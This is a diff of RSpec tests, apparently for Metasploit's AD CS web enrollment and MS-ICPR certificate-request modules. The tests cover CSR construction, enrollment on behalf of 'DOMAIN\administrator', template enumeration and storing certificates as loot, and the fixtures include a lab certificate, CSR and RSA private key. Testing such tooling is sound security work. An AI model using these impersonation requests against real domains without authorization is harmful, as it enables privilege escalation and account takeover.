on_behalf_of: 'DOMAIN\\administrator'
)
expect(result).to be_a(Rex::Proto::CryptoAsn1::Cms::ContentInfo)
end
it 'passes on_behalf_of to build_on_behalf_of' do
expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with(
hash_including(on_behalf_of: 'DOMAIN\\administrator')
).and_call_original
subject.create_csr(
username: 'alice',
private_key: rsa_key,
pkcs12: pkcs12,
on_behalf_of: 'DOMAIN\\administrator'
)
end
end
context 'with pkcs12 but no on_behalf_of' do
let(:pkcs12) do
pkcs12_obj = double('OpenSSL::PKCS12')
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
pkcs12_obj
end
it 'skips build_on_behalf_of and returns a plain CSR' do
expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of)
result = subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12)
expect(result).to be_a(OpenSSL::X509::Request)
end
end
context 'with on_behalf_of but no pkcs12' do
it 'skips build_on_behalf_of and returns a plain CSR' do
expect(Rex::Proto::X509::Request).not_to receive(:build_on_behalf_of)
result = subject.create_csr(
username: 'alice',
private_key: rsa_key,
on_behalf_of: 'DOMAIN\\administrator'
)
expect(result).to be_a(OpenSSL::X509::Request)
end
end
context 'with on_behalf_of supplied via datastore' do
let(:pkcs12) do
pkcs12_obj = double('OpenSSL::PKCS12')
allow(pkcs12_obj).to receive(:certificate).and_return(pkcs12_certificate)
allow(pkcs12_obj).to receive(:key).and_return(rsa_key)
pkcs12_obj
end
before { subject.datastore['ON_BEHALF_OF'] = 'DOMAIN\\administrator' }
it 'reads on_behalf_of from the datastore' do
expect(Rex::Proto::X509::Request).to receive(:build_on_behalf_of).with(
hash_including(on_behalf_of: 'DOMAIN\\administrator')
).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key, pkcs12: pkcs12)
end
end
context 'with default datastore values (all blank)' do
it 'uses SHA256 as the default digest algorithm' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(hash_including(algorithm: 'SHA256')).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
it 'passes nil for dns, sid, and upn' do
expect(Rex::Proto::X509::Request).to receive(:build_csr).with(
hash_including(dns: nil, msext_sid: nil, msext_upn: nil)
).and_call_original
subject.create_csr(username: 'alice', private_key: rsa_key)
end
end
end
end
@@ -0,0 +1,342 @@
# frozen_string_literal: true
require 'spec_helper'
require 'msf/core/exploit/remote/http/web_enrollment'
RSpec.describe Msf::Exploit::Remote::HTTP::WebEnrollment do
include_context 'Msf::Simple::Framework'
subject do
klass = Class.new(Msf::Exploit) do
include Msf::Exploit::Remote::HTTP::WebEnrollment
# Stubs for HTTP-client methods not present on Msf::Exploit
def normalize_uri(*parts)
parts.join('/').gsub(%r{/+}, '/')
end
def target_uri
'/certsrv/'
end
def send_request_raw(_opts = {})
nil
end
def store_loot(_name, _type, _host, _data, _filename, _info)
'/tmp/cert.pfx'
end
end
mod = klass.new
allow(mod).to receive(:vprint_status)
allow(mod).to receive(:vprint_good)
allow(mod).to receive(:vprint_error)
allow(mod).to receive(:print_good)
allow(mod).to receive(:print_status)
allow(mod).to receive(:print_warning)
allow(mod).to receive(:print_error)
allow(mod).to receive(:print_bad)
allow(mod).to receive(:elog)
allow(mod).to receive(:framework).and_return(framework)
mod
end
# -------------------------------------------------------------------------
describe '#add_cert_entry' do
before { subject.instance_variable_set(:@issued_certs, {}) }
context 'when connection_identity is new' do
it 'creates a new array with the cert_template' do
subject.add_cert_entry('DOMAIN\\user', 'UserTemplate')
expect(subject.instance_variable_get(:@issued_certs)).to eq({ 'DOMAIN\\user' => ['UserTemplate'] })
end
end
context 'when connection_identity already exists' do
before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') }
it 'appends the new cert_template' do
subject.add_cert_entry('DOMAIN\\user', 'AdminTemplate')
expect(subject.instance_variable_get(:@issued_certs)['DOMAIN\\user']).to contain_exactly('UserTemplate', 'AdminTemplate')
end
end
context 'with multiple distinct identities' do
it 'keeps them separate' do
subject.add_cert_entry('DOMAIN\\alice', 'UserTemplate')
subject.add_cert_entry('DOMAIN\\bob', 'AdminTemplate')
issued = subject.instance_variable_get(:@issued_certs)
expect(issued['DOMAIN\\alice']).to eq(['UserTemplate'])
expect(issued['DOMAIN\\bob']).to eq(['AdminTemplate'])
end
end
end
# -------------------------------------------------------------------------
describe '#cert_issued?' do
before { subject.instance_variable_set(:@issued_certs, {}) }
context 'when no certs have been issued' do
it 'returns false' do
expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be false
end
end
context 'when a cert has been issued for the identity' do
before { subject.add_cert_entry('DOMAIN\\user', 'UserTemplate') }
it 'returns true for the issued template' do
expect(subject.cert_issued?('DOMAIN\\user', 'UserTemplate')).to be true
end
it 'returns false for a different template' do
expect(subject.cert_issued?('DOMAIN\\user', 'AdminTemplate')).to be false
end
it 'returns false for a different identity' do
expect(subject.cert_issued?('DOMAIN\\other', 'UserTemplate')).to be false
end
end
end
# -------------------------------------------------------------------------
describe '#get_cert_templates' do
let(:authenticated_client) { double('authenticated_client') }
context 'when the response is nil' do
before { allow(subject).to receive(:send_request_raw).and_return(nil) }
it 'returns nil' do
expect(subject.get_cert_templates(authenticated_client)).to be_nil
end
end
context 'when the response code is not 200' do
let(:res) { double('response', code: 403, body: '') }
before { allow(subject).to receive(:send_request_raw).and_return(res) }
it 'returns nil' do
expect(subject.get_cert_templates(authenticated_client)).to be_nil
end
end
context 'when the response is 200 with template entries' do
let(:body) do
<<~HTML
<option value="">Select a Certificate Template</option>
Option Value="E;UserTemplate;1.2.3.4"
Option Value="O;AdminTemplate;5.6.7.8"
HTML
end
let(:res) { double('response', code: 200, body: body) }
before { allow(subject).to receive(:send_request_raw).and_return(res) }
it 'returns the extracted template names' do
expect(subject.get_cert_templates(authenticated_client)).to contain_exactly('UserTemplate', 'AdminTemplate')
end
end
context 'when the response is 200 with no template entries' do
let(:res) { double('response', code: 200, body: '<html>no templates here</html>') }
before { allow(subject).to receive(:send_request_raw).and_return(res) }
it 'returns an empty array' do
expect(subject.get_cert_templates(authenticated_client)).to eq([])
end
end
context 'when the response body has mixed E and O prefix entries' do
let(:body) do
"Option Value=\"E;TemplateE;1.1\"\nOption Value=\"O;TemplateO;2.2\"\n"
end
let(:res) { double('response', code: 200, body: body) }
before { allow(subject).to receive(:send_request_raw).and_return(res) }
it 'extracts both E and O prefixed templates' do
result = subject.get_cert_templates(authenticated_client)
expect(result).to include('TemplateE', 'TemplateO')
end
end
end
# -------------------------------------------------------------------------
describe '#retrieve_certs' do
let(:authenticated_client) { double('authenticated_client') }
it 'calls retrieve_cert for each template' do
templates = %w[UserTemplate AdminTemplate]
templates.each do |t|
expect(subject).to receive(:retrieve_cert).with('192.168.1.1', authenticated_client, 'DOMAIN\\user', t)
end
subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', templates)
end
it 'does nothing when the template list is empty' do
expect(subject).not_to receive(:retrieve_cert)
subject.retrieve_certs('192.168.1.1', authenticated_client, 'DOMAIN\\user', [])
end
end
# -------------------------------------------------------------------------
describe '#retrieve_cert' do
let(:authenticated_client) { double('authenticated_client') }
let(:target_ip) { '192.168.1.1' }
let(:identity) { 'DOMAIN\\alice' }
let(:template) { 'UserTemplate' }
before { subject.instance_variable_set(:@issued_certs, {}) }
context 'when generating the RSA key' do
let(:csr_double) { double('csr', to_der: 'der_bytes') }
let(:denied_res) { double('response', code: 200, body: 'request was denied') }
it 'uses the default key size of 2048 when RSAKeySize is blank' do
allow(subject).to receive(:create_csr).and_return(csr_double)
allow(subject).to receive(:send_request_raw).and_return(denied_res)
expect(OpenSSL::PKey::RSA).to receive(:new).with(2048).and_call_original
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
end
it 'uses the RSAKeySize from the datastore when set' do
subject.datastore['RSAKeySize'] = '4096'
allow(subject).to receive(:create_csr).and_return(csr_double)
allow(subject).to receive(:send_request_raw).and_return(denied_res)
expect(OpenSSL::PKey::RSA).to receive(:new).with(4096).and_call_original
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
end
it 'passes the generated key to create_csr' do
generated_key = OpenSSL::PKey::RSA.new(2048)
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(generated_key)
allow(subject).to receive(:send_request_raw).and_return(denied_res)
expect(subject).to receive(:create_csr).with(hash_including(private_key: generated_key)).and_return(csr_double)
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
end
end
context 'when the cert has already been issued' do
before { subject.add_cert_entry(identity, template) }
it 'returns nil without making an HTTP request' do
expect(subject).not_to receive(:send_request_raw)
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
end
end
context 'when the POST response is 200 with body containing "request was denied"' do
let(:csr) { double('csr', to_der: 'der_bytes') }
let(:res) { double('response', code: 200, body: 'Certificate request was denied by policy') }
before do
allow(subject).to receive(:create_csr).and_return(csr)
allow(subject).to receive(:send_request_raw).and_return(res)
end
it 'returns nil' do
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
end
end
context 'when the POST response is 200 with body containing "request failed"' do
let(:csr) { double('csr', to_der: 'der_bytes') }
let(:res) { double('response', code: 200, body: 'Certificate request failed due to an error') }
before do
allow(subject).to receive(:create_csr).and_return(csr)
allow(subject).to receive(:send_request_raw).and_return(res)
end
it 'returns nil' do
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
end
end
context 'when the POST response is 401 with body containing "invalid credentials"' do
let(:csr) { double('csr', to_der: 'der_bytes') }
let(:res) { double('response', code: 401, body: 'Error: invalid credentials provided') }
before do
allow(subject).to receive(:create_csr).and_return(csr)
allow(subject).to receive(:send_request_raw).and_return(res)
end
it 'returns nil' do
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
end
end
context 'when the POST response is successful but has no location tag' do
let(:csr) { double('csr', to_der: 'der_bytes') }
let(:res) { double('response', code: 200, body: 'Certificate generated successfully, no location here') }
before do
allow(subject).to receive(:create_csr).and_return(csr)
allow(subject).to receive(:send_request_raw).and_return(res)
end
it 'returns nil' do
expect(subject.retrieve_cert(target_ip, authenticated_client, identity, template)).to be_nil
end
it 'adds the cert entry before discovering the missing location tag' do
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
expect(subject.cert_issued?(identity, template)).to be true
end
end
context 'when the POST succeeds with a location tag and GET returns a certificate' do
let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) }
let(:certificate) do
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = OpenSSL::X509::Name.parse('/CN=alice')
cert.issuer = cert.subject
cert.public_key = rsa_key.public_key
cert.not_before = Time.now - 3600
cert.not_after = Time.now + 3600
cert.sign(rsa_key, OpenSSL::Digest::SHA256.new)
cert
end
let(:csr) { double('csr', to_der: 'der_bytes') }
let(:post_body) { "Certificate generated\nlocation=\"/certsrv/certnew.cer?ReqID=1&Enc=b64\"" }
let(:post_res) { double('response', code: 200, body: post_body) }
let(:get_res) { double('response', code: 200, body: certificate.to_der) }
before do
# Force retrieve_cert to use rsa_key so the generated key matches the certificate
rsa_key
allow(OpenSSL::PKey::RSA).to receive(:new).and_return(rsa_key)
allow(subject).to receive(:create_csr).and_return(csr)
allow(subject).to receive(:send_request_raw).and_return(post_res, get_res)
allow(subject).to receive(:store_loot).and_return('/tmp/cert.pfx')
end
it 'returns an OpenSSL::X509::Certificate' do
result = subject.retrieve_cert(target_ip, authenticated_client, identity, template)
expect(result).to be_a(OpenSSL::X509::Certificate)
end
it 'records the issued cert entry' do
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
expect(subject.cert_issued?(identity, template)).to be true
end
it 'stores the loot as a PKCS12 file' do
expect(subject).to receive(:store_loot).with(
'windows.ad.cs',
'application/x-pkcs12',
target_ip,
anything,
'certificate.pfx',
"#{identity} Certificate"
)
subject.retrieve_cert(target_ip, authenticated_client, identity, template)
end
end
end
end
+466 -340
View File
@@ -1,368 +1,494 @@
require 'rspec'
require 'rex/proto/kerberos/model/pkinit'
# frozen_string_literal: true
require 'spec_helper'
require 'msf/core/exploit/remote/ms_icpr'
RSpec.describe Msf::Exploit::Remote::MsIcpr do
include_context 'Msf::UIDriver'
include_context 'Msf::Simple::Framework#modules loading'
include_context 'Msf::Simple::Framework'
let(:subject) do
mod = Msf::Exploit::Remote.allocate
mod.extend described_class
let(:rsa_key) { OpenSSL::PKey::RSA.new(2048) }
# Build a minimal self-signed certificate, optionally with pre-built extensions.
def build_test_cert(key, extensions: [])
cert = OpenSSL::X509::Certificate.new
cert.version = 2
cert.serial = 1
cert.subject = OpenSSL::X509::Name.parse('/CN=Test')
cert.issuer = cert.subject
cert.public_key = key.public_key
cert.not_before = Time.now - 3600
cert.not_after = Time.now + 3600
extensions.each { |ext| cert.add_extension(ext) }
cert.sign(key, OpenSSL::Digest::SHA256.new)
cert
end
# Build a subjectAltName extension from a plain SAN string (e.g. "DNS:host.example.com").
def san_extension(san_string)
stub = OpenSSL::X509::Certificate.new
factory = OpenSSL::X509::ExtensionFactory.new
factory.subject_certificate = stub
factory.issuer_certificate = stub
factory.create_extension('subjectAltName', san_string, false)
end
# Build a subjectAltName extension from an OpenSSL config block, allowing otherName entries.
def san_extension_from_config(config_string)
config = OpenSSL::Config.parse(config_string)
factory = OpenSSL::X509::ExtensionFactory.new
factory.config = config
factory.create_extension('subjectAltName', '@alt_names', false)
end
subject do
klass = Class.new(Msf::Exploit) do
include Msf::Exploit::Remote::MsIcpr
end
mod = klass.new
allow(mod).to receive(:vprint_status)
allow(mod).to receive(:vprint_good)
allow(mod).to receive(:vprint_error)
allow(mod).to receive(:print_good)
allow(mod).to receive(:print_status)
allow(mod).to receive(:print_warning)
allow(mod).to receive(:print_error)
allow(mod).to receive(:elog)
allow(mod).to receive(:framework).and_return(framework)
mod
end
let(:pkcs12_certificate) do
OpenSSL::X509::Certificate.new(<<~CERTIFICATE)
-----BEGIN CERTIFICATE-----
MIIGyDCCBbCgAwIBAgITEAAAAEOSqzMlvbHDMgAAAAAAQzANBgkqhkiG9w0BAQsF
ADBGMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZFgZtc2Zs
YWIxFTATBgNVBAMTDG1zZmxhYi1EQy1DQTAeFw0yMjExMDIyMTI4NDZaFw0yMzEx
MDIyMTI4NDZaMHsxFTATBgoJkiaJk/IsZAEZFgVsb2NhbDEWMBQGCgmSJomT8ixk
ARkWBm1zZmxhYjEOMAwGA1UEAxMFVXNlcnMxFTATBgNVBAMTDEFsaWNlIExpZGRs
ZTEjMCEGCSqGSIb3DQEJARYUYWxpZGRsZUBtc2ZsYWIubG9jYWwwggEiMA0GCSqG
SIb3DQEBAQUAA4IBDwAwggEKAoIBAQDjPSFrdevPYsMZMueAwrSqpyYbLGlvXRA9
j2x7D/gUVZI7O01j6CpMWZ3vbxktL/69Y3VRI2WGu/vLaaIJtmtdjyJSMCLZebfg
6KpvO1O7U5gAKYwyk0+vb8KNypUzYT/b+yIcrmyiFjn4IwwU2BDk+dWLrJ1rbg0l
l1GO6wop1AzMe0gb7yMnR4L4q0E2Tad8hAkL6rhmwJZgbqn1A4eyy+4XBeIg36SD
jIZBd34CE7qgt/vf4mfpeKt3VJmEIthnX5AEM850fN6nbwVgJYtzzpY6LEGoU3Nx
idRhBzG7iwQm5PoHc6BDNytnwBsSFWq2Fllmk7sS6jZ+IB7wdB3nAgMBAAGjggN4
MIIDdDAdBgNVHQ4EFgQUc3dLxeMuOboY7Mcradkczp07hCowHwYDVR0jBBgwFoAU
uZJmsmi7m0bYQV3LFra6OLKxeNAwgcYGA1UdHwSBvjCBuzCBuKCBtaCBsoaBr2xk
YXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPURDLENOPUNEUCxDTj1QdWJsaWMlMjBL
ZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1cmF0aW9uLERDPW1z
ZmxhYixEQz1sb2NhbD9jZXJ0aWZpY2F0ZVJldm9jYXRpb25MaXN0P2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y1JMRGlzdHJpYnV0aW9uUG9pbnQwgb8GCCsGAQUFBwEBBIGyMIGv
MIGsBggrBgEFBQcwAoaBn2xkYXA6Ly8vQ049bXNmbGFiLURDLUNBLENOPUFJQSxD
Tj1QdWJsaWMlMjBLZXklMjBTZXJ2aWNlcyxDTj1TZXJ2aWNlcyxDTj1Db25maWd1
cmF0aW9uLERDPW1zZmxhYixEQz1sb2NhbD9jQUNlcnRpZmljYXRlP2Jhc2U/b2Jq
ZWN0Q2xhc3M9Y2VydGlmaWNhdGlvbkF1dGhvcml0eTAOBgNVHQ8BAf8EBAMCBaAw
PQYJKwYBBAGCNxUHBDAwLgYmKwYBBAGCNxUIgfjYFYbPvgqC9Z0sgZzVVILrlEwX
hei+d4bf3X4CAWQCAQQwNQYDVR0lBC4wLAYIKwYBBQUHAwQGCisGAQQBgjcKAwQG
CCsGAQUFBwMCBgorBgEEAYI3FAIBMEMGCSsGAQQBgjcVCgQ2MDQwCgYIKwYBBQUH
AwQwDAYKKwYBBAGCNwoDBDAKBggrBgEFBQcDAjAMBgorBgEEAYI3FAIBMEUGA1Ud
EQQ+MDygJAYKKwYBBAGCNxQCA6AWDBRhbGlkZGxlQG1zZmxhYi5sb2NhbIEUYWxp
ZGRsZUBtc2ZsYWIubG9jYWwwTwYJKwYBBAGCNxkCBEIwQKA+BgorBgEEAYI3GQIB
oDAELlMtMS01LTIxLTM0MDI1ODcyODktMTQ4ODc5ODUzMi0zNjE4Mjk2OTkzLTEx
MDYwRAYJKoZIhvcNAQkPBDcwNTAOBggqhkiG9w0DAgICAIAwDgYIKoZIhvcNAwQC
AgCAMAcGBSsOAwIHMAoGCCqGSIb3DQMHMA0GCSqGSIb3DQEBCwUAA4IBAQCJsrOx
2GGeRXBYWCMkQ2xPCndIXCvAo/V4N3xYsWzYqKMvW465TTtKzauKOw6K2FJr+uIp
rSKNWA+YBWFUw9mwnGOKs21LJQ6RIL6EDKS3UdHo3Ajp/mTxhlroI2oUuPEWCScN
3HTRKEiQxX+XPe6ANAhlHLBBrE+Znn3tXv/YlXHESpRBOeVtDil8tTvEEY8X+PmL
bvHYmTfCdQ3IzwG6vjAcuqys4n9cWqeNYLIOYGpuD1BHnqvB/erCY/289VlfYXMu
bDBUHpLBTwS4v+hdWByWlyFo3TLCNYi0OaZ/vI1nmiEqUKbPS70M54E+oDDaIrwQ
MPqLl/D4OpKpcKz8
-----END CERTIFICATE-----
CERTIFICATE
end
let(:pkcs12_key) do
OpenSSL::PKey::RSA.new(<<~KEY)
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4z0ha3Xrz2LDGTLngMK0qqcmGyxpb10QPY9sew/4FFWSOztN
Y+gqTFmd728ZLS/+vWN1USNlhrv7y2miCbZrXY8iUjAi2Xm34OiqbztTu1OYACmM
MpNPr2/CjcqVM2E/2/siHK5sohY5+CMMFNgQ5PnVi6yda24NJZdRjusKKdQMzHtI
G+8jJ0eC+KtBNk2nfIQJC+q4ZsCWYG6p9QOHssvuFwXiIN+kg4yGQXd+AhO6oLf7
3+Jn6Xird1SZhCLYZ1+QBDPOdHzep28FYCWLc86WOixBqFNzcYnUYQcxu4sEJuT6
B3OgQzcrZ8AbEhVqthZZZpO7Euo2fiAe8HQd5wIDAQABAoIBAEGT5a4eZMP/q2/9
OcP17K+G9z9GTNMfl008s8C79grgOwgu8AGSAYrxHdv4QtrAjBJZvoSA447Dd0HX
pTSKWWexo+T2EUiTkNYuLulUxLA9ypLZaqU5z/hAF3RV70LZoNU6HzkJuT35jhcm
/hiR1iZOVyss0G0tYEvl5FqLR+6TwQ+fT1LIszXvX0Fmhz2Lpun90LLBH4qqsrKs
5eFFEXetwJu4oyoM3yGEWTVJagGRC8grf4mWoh8+7ZPkMVUTgV05Z//AhdDDhPhx
VV8YK/F20NTdRn+FNYSMW3IlzT7ezYn6B8SteFmN+WHBhgV2Bcdz4T8WuOjU5m8h
SOs+KOkCgYEA/YXqnmirjdSHyBl1RGNDe2+BcR5KFIPimhSpbM5vjb9/i9mjHA94
MkLsMXVp28AugFZ3mQY20JvNOEssNtybsLXeV9GDAbP6tZaONdHUSTqnpygxglZX
xda6vKBsoPUQIRjMUCqSGFW/ZLlkbT5Xr/wudJiQ73zJ/qbHuW+fIQUCgYEA5XV5
hIQ6LROVajdKViikBpbEKFwNyarFqDGgAh6QzI4hPeBn8iTy+C69O8048ahp8K4g
m71PjWyLPMZtQ+zAZDOScojaAhsOt+UPId/BEBCkorTTWolVm8uJ/kjx9cF8FgiJ
/NA1V+qRHZ/SdRzmmpYKe0EJk59cGKeU7WToJvsCgYEAsfguSWGE/J1za/6jGYzt
NFuEbJosutYSXsOeY+lO2hzSNqRjIjGh2Patw9J+q2rvudv5PQzlse+NUrVCpoib
KqOhH9jNtIZZutujnRhdg8KPKoLGro5aM2GX2Q5s81jVJ8a2tpgL0tVu9BBI9X9M
IxhOrD7lj5j0W7VMg1peRNkCgYBBoVUtgwiExhoxdDkN5bfsrojSpmnHKdI5JmCG
2qk96NU3No1kpA7ez7eOeEd2T15l2dg303ECmW5F5tdv2zK4NkwH+H6qpYSTMrAe
VzqIVspQQ3pEZg2XbyM8GS8jxMCyKKUXK5JmYBA7se/nUWngA1RiJpsPn0AfSSd+
syL3qwKBgQD423ueq9DouleYCK1tpFGZSyCQ8ER/X0zv92g9v6ecRLTrwhdCe2o8
aW/QRplhZZFK4XYtwn4BlD+IYylbIUZwyD6HIHE3xCkADuSTFwhyDdzet1+oaSxO
C31WYyAVgMWh7+0BJbAY2x7yVa0+1XQn0i2TpVQgaUx9/SNBaLeDoA==
-----END RSA PRIVATE KEY-----
KEY
end
let(:x509_csr) do
OpenSSL::X509::Request.new(<<~REQUEST)
-----BEGIN CERTIFICATE REQUEST-----
MIICVzCCAT8CAQAwEjEQMA4GA1UEAwwHYWxpZGRsZTCCASIwDQYJKoZIhvcNAQEB
BQADggEPADCCAQoCggEBAOM9IWt1689iwxky54DCtKqnJhssaW9dED2PbHsP+BRV
kjs7TWPoKkxZne9vGS0v/r1jdVEjZYa7+8tpogm2a12PIlIwItl5t+Doqm87U7tT
mAApjDKTT69vwo3KlTNhP9v7IhyubKIWOfgjDBTYEOT51YusnWtuDSWXUY7rCinU
DMx7SBvvIydHgvirQTZNp3yECQvquGbAlmBuqfUDh7LL7hcF4iDfpIOMhkF3fgIT
uqC3+9/iZ+l4q3dUmYQi2GdfkAQzznR83qdvBWAli3POljosQahTc3GJ1GEHMbuL
BCbk+gdzoEM3K2fAGxIVarYWWWaTuxLqNn4gHvB0HecCAwEAAaAAMA0GCSqGSIb3
DQEBCwUAA4IBAQAyU7goEqpmHfulRkaMAtna+7mpVdUsuGXidsP2AFyDmiBOUtR/
gQoXeTwWQ62vKSmD0+gSnxDbokq4T8hif/cR8WZ1jZQXE0JR9FPI/qGs/6D5e56S
b7W3buC6UuON58pJmtrX7PtNUGg0FOn6jGB1jwEHtc+4sel24j7VMfzt3nuY/KTD
abGLQioi9iaVEbJ6pKmBaHGcEswFiqGBGWI1zrSVIYyNy67SK3/P3RWyHHNJeS2a
x7RMqHkWOXXjxqbM68i6tCL+2NstTzXI6mQkXWkOXU8d39wn/MqLyPdY0ZM7Lv/y
i506vK8iofDDYoHxz8YwaPU1DOCfu+T83nPg
-----END CERTIFICATE REQUEST-----
REQUEST
end
let(:content_info) do
Rex::Proto::CryptoAsn1::Cms::ContentInfo.parse(
"\x30\x82\x0b\x71\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x07\x02\xa0\x82\x0b" \
"\x62\x30\x82\x0b\x5e\x02\x01\x03\x31\x0d\x30\x0b\x06\x09\x60\x86\x48\x01" \
"\x65\x03\x04\x02\x01\x30\x82\x02\x6c\x06\x07\x2b\x06\x01\x05\x02\x03\x01" \
"\xa0\x82\x02\x5f\x04\x82\x02\x5b\x30\x82\x02\x57\x30\x82\x01\x3f\x02\x01" \
"\x00\x30\x12\x31\x10\x30\x0e\x06\x03\x55\x04\x03\x0c\x07\x61\x6c\x69\x64" \
"\x64\x6c\x65\x30\x82\x01\x22\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01" \
"\x01\x01\x05\x00\x03\x82\x01\x0f\x00\x30\x82\x01\x0a\x02\x82\x01\x01\x00" \
"\xe3\x3d\x21\x6b\x75\xeb\xcf\x62\xc3\x19\x32\xe7\x80\xc2\xb4\xaa\xa7\x26" \
"\x1b\x2c\x69\x6f\x5d\x10\x3d\x8f\x6c\x7b\x0f\xf8\x14\x55\x92\x3b\x3b\x4d" \
"\x63\xe8\x2a\x4c\x59\x9d\xef\x6f\x19\x2d\x2f\xfe\xbd\x63\x75\x51\x23\x65" \
"\x86\xbb\xfb\xcb\x69\xa2\x09\xb6\x6b\x5d\x8f\x22\x52\x30\x22\xd9\x79\xb7" \
"\xe0\xe8\xaa\x6f\x3b\x53\xbb\x53\x98\x00\x29\x8c\x32\x93\x4f\xaf\x6f\xc2" \
"\x8d\xca\x95\x33\x61\x3f\xdb\xfb\x22\x1c\xae\x6c\xa2\x16\x39\xf8\x23\x0c" \
"\x14\xd8\x10\xe4\xf9\xd5\x8b\xac\x9d\x6b\x6e\x0d\x25\x97\x51\x8e\xeb\x0a" \
"\x29\xd4\x0c\xcc\x7b\x48\x1b\xef\x23\x27\x47\x82\xf8\xab\x41\x36\x4d\xa7" \
"\x7c\x84\x09\x0b\xea\xb8\x66\xc0\x96\x60\x6e\xa9\xf5\x03\x87\xb2\xcb\xee" \
"\x17\x05\xe2\x20\xdf\xa4\x83\x8c\x86\x41\x77\x7e\x02\x13\xba\xa0\xb7\xfb" \
"\xdf\xe2\x67\xe9\x78\xab\x77\x54\x99\x84\x22\xd8\x67\x5f\x90\x04\x33\xce" \
"\x74\x7c\xde\xa7\x6f\x05\x60\x25\x8b\x73\xce\x96\x3a\x2c\x41\xa8\x53\x73" \
"\x71\x89\xd4\x61\x07\x31\xbb\x8b\x04\x26\xe4\xfa\x07\x73\xa0\x43\x37\x2b" \
"\x67\xc0\x1b\x12\x15\x6a\xb6\x16\x59\x66\x93\xbb\x12\xea\x36\x7e\x20\x1e" \
"\xf0\x74\x1d\xe7\x02\x03\x01\x00\x01\xa0\x00\x30\x0d\x06\x09\x2a\x86\x48" \
"\x86\xf7\x0d\x01\x01\x0b\x05\x00\x03\x82\x01\x01\x00\x32\x53\xb8\x28\x12" \
"\xaa\x66\x1d\xfb\xa5\x46\x46\x8c\x02\xd9\xda\xfb\xb9\xa9\x55\xd5\x2c\xb8" \
"\x65\xe2\x76\xc3\xf6\x00\x5c\x83\x9a\x20\x4e\x52\xd4\x7f\x81\x0a\x17\x79" \
"\x3c\x16\x43\xad\xaf\x29\x29\x83\xd3\xe8\x12\x9f\x10\xdb\xa2\x4a\xb8\x4f" \
"\xc8\x62\x7f\xf7\x11\xf1\x66\x75\x8d\x94\x17\x13\x42\x51\xf4\x53\xc8\xfe" \
"\xa1\xac\xff\xa0\xf9\x7b\x9e\x92\x6f\xb5\xb7\x6e\xe0\xba\x52\xe3\x8d\xe7" \
"\xca\x49\x9a\xda\xd7\xec\xfb\x4d\x50\x68\x34\x14\xe9\xfa\x8c\x60\x75\x8f" \
"\x01\x07\xb5\xcf\xb8\xb1\xe9\x76\xe2\x3e\xd5\x31\xfc\xed\xde\x7b\x98\xfc" \
"\xa4\xc3\x69\xb1\x8b\x42\x2a\x22\xf6\x26\x95\x11\xb2\x7a\xa4\xa9\x81\x68" \
"\x71\x9c\x12\xcc\x05\x8a\xa1\x81\x19\x62\x35\xce\xb4\x95\x21\x8c\x8d\xcb" \
"\xae\xd2\x2b\x7f\xcf\xdd\x15\xb2\x1c\x73\x49\x79\x2d\x9a\xc7\xb4\x4c\xa8" \
"\x79\x16\x39\x75\xe3\xc6\xa6\xcc\xeb\xc8\xba\xb4\x22\xfe\xd8\xdb\x2d\x4f" \
"\x35\xc8\xea\x64\x24\x5d\x69\x0e\x5d\x4f\x1d\xdf\xdc\x27\xfc\xca\x8b\xc8" \
"\xf7\x58\xd1\x93\x3b\x2e\xff\xf2\x8b\x9d\x3a\xbc\xaf\x22\xa1\xf0\xc3\x62" \
"\x81\xf1\xcf\xc6\x30\x68\xf5\x35\x0c\xe0\x9f\xbb\xe4\xfc\xde\x73\xe0\xa0" \
"\x82\x06\xcc\x30\x82\x06\xc8\x30\x82\x05\xb0\xa0\x03\x02\x01\x02\x02\x13" \
"\x10\x00\x00\x00\x43\x92\xab\x33\x25\xbd\xb1\xc3\x32\x00\x00\x00\x00\x00" \
"\x43\x30\x0d\x06\x09\x2a\x86\x48\x86\xf7\x0d\x01\x01\x0b\x05\x00\x30\x46" \
"\x31\x15\x30\x13\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c\x64\x01\x19\x16\x05" \
"\x6c\x6f\x63\x61\x6c\x31\x16\x30\x14\x06\x0a\x09\x92\x26\x89\x93\xf2\x2c" \
"\x64\x01\x19\x16\x06\x6d\x73\x66\x6c\x61\x62\x31\x15\x30\x13\x06\x03\x55" \
"\x04\x03\x13\x0c\x6d\x73\x66\x6c\x61\x62\x2d\x44\x43\x2d\x43\x41\x30\x1e" \
"\x17\x0d\x32\x32\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x17\x0d\x32" \
"\x33\x31\x31\x30\x32\x32\x31\x32\x38\x34\x36\x5a\x30\x7b\x31\x15\x30\x13" \
